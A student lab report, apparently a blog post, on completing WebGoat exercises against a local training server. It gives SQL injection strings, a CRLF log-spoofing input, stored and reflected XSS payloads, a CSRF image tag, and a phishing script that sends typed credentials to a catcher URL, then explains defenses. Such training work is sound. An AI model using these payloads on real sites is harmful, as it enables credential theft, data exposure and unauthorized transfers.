2019-2020-2 20175113完瑞 《网络对抗技术》Exp9:Web安全基础

目录

实践过程记录

WebGoat安装

  • 下载webgoat-container-7.0.1-war-exec.jar
  • 开启WebGoat: java -jar webgoat-container-7.0.1-war-exec.jar 
  • 打开浏览器,输入 localhost:8080/WebGoat 
  • 登录使用默认的账号密码就可以,但会发现左侧并未出现课程
  • 因为编译后的java程序与kali上的java Se版本不一致,所以需要安装对应的JDK,参考这篇简书

SQL注入攻击(Injection Flaws)

数字型注入(Numeric SQL Injection)

概念:注入数字型数据(如:永真式)达到注入的效果。

原理:在station字段中注入特征字符,组合成新的SQL语句。
如: SELECT * FROM weather_data WHERE station = [station] 

目标:该例子通过注入SQL字符串查看所有的天气数据。

操作方法

  • 右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,在选中的城市编号Value值中添加 or 1=1 
  • 显示所有城市的天气情况,攻击成功!

返回目录

日志欺骗(Log Spoofing)

概念:通过在日志文件中插入脚本实现欺骗。

原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹

目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”

操作方法

  • 前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。

  • 利用入回车(0D%)和换行符(%0A),在 username 中填入 wr%0d%0aLogin Succeeded for username: admin 

  • 攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将 admin <script>alert(document.cookie)</script> 作为用户名输入,可以看到弹窗的cookie信息。

返回目录

Stage 1: 字符串型注入(Stage 1: String SQL Injection)

原理:通过注入字符串绕过认证

操作方法

  • 右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,将 password 密码框的最大长度限制改为18。

  • 以用户 Neville(admin) 登录,输入密码 hello' or '1' = '1 

  • 得到所有人员列表,攻击成功!

Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。

操作方法

  • 使用用户名  Larry ,密码 larry 点击 login 登录,点击 ViewProfile 查看用户信息

  • 返回 Larry 用户界面右键点击页面,选择 inspect Element 审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。

  • 用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成 101 or 1=1 order by salary desc ,使得老板的信息作为查询到的第一条数据。

  • 得到老板的账户信息,攻击成功!

返回目录

字符串注入(String SQL Injection)

概念:通过注入字符串绕过认证

原理:基于以下查询语句构造自己的 SQL 注入字符串。

 SELECT * FROM user_data WHERE last_name = '?'  

目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。

操作方法

  • 正常情况下只能查询到用户名对应的信用卡号码
  • 输入查询的用户名Smith' or 1=1--(Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)
  • 得到所有用户的信用卡号码,攻击成功!

返回目录

XSS攻击(Cross‐Site Scripting)

跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。

1.XSS 钓鱼(Phishing with XSS)

原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。

目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

操作方法

  • 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:

    • 受害人填写一个表格;
    • 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
  • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat

  • 编写一个带用户名和密码输入框的表格

//脚本
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

返回目录

2.存储型XSS攻击(Stored XSS Attacks)

原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

操作方法

  • 在title中任意输入字符,留言板中输入 <script>alert("I am 20175113wr. You've been attacked!!!");</script> 

返回目录

3.反射型XSS攻击(Reflected XSS Attacks)

原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。

目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击

操作方法

  • 输入代码 <script>alert("I'm sorry! You've been attacked!!!");</script> ,点击 purse 的同时页面就给出了反馈

返回目录

CSRF攻击

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

1.跨站请求伪造(Cross Site Request Forgery (CSRF))

原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如: <img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/> ,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。

操作方法

  • 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=&menu=900&transferFunds=104"/>,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交
  • 在Message List中生成以Title命名的消息。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。可以从左侧的任务栏看到任务已完成。

返回目录

基础问题回答

(1)SQL注入攻击原理,如何防御

原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。

防御方式:由于用户名和密码框的输入是有固定格式的变量,故在SQL语句执行前,首先按照规定模式核查输入的合法性。同时,过滤特殊字符,如:单引号(')、双引号(")、反斜杠()、井号(#)、NULL等,此类可能会导致使本应被正常执行的SQL语句被注释,或者不能正常运行的特殊符号。

(2)XSS攻击的原理,如何防御

原理:是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

防御方式: 

1)在表单提交或者url参数传递前,对需要的参数进行过滤

2)检查用户输入的内容中是否有非法内容(比方说检查输入中是否含有脚本内容)

(3)CSRF攻击原理,如何防御

原理:攻击者借用用户的身份,向服务器端发送请求,但是该请求并不是用户本人发送的,而是由第三方脚毛用户发送的,所以称为“跨站请求伪造”。CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF可以看做是XSS攻击的一种。

防御方式:

1)严格限制限制Cookie的适用范围

2)尽量不在页面链接中明文传输用户的因斯信息,对于用户增删改等操作都是用POST

返回目录

实验总结与体会

本次实验是在一个已经搭建好了的架构平台上完成的,通过修改其中的部分内容来实现攻击,我觉得非常的有意思,网站中包含很多的攻击我都没有尝试过,有时间一定要再去看一看。

原文地址:https://www.cnblogs.com/besti5113/p/12915961.html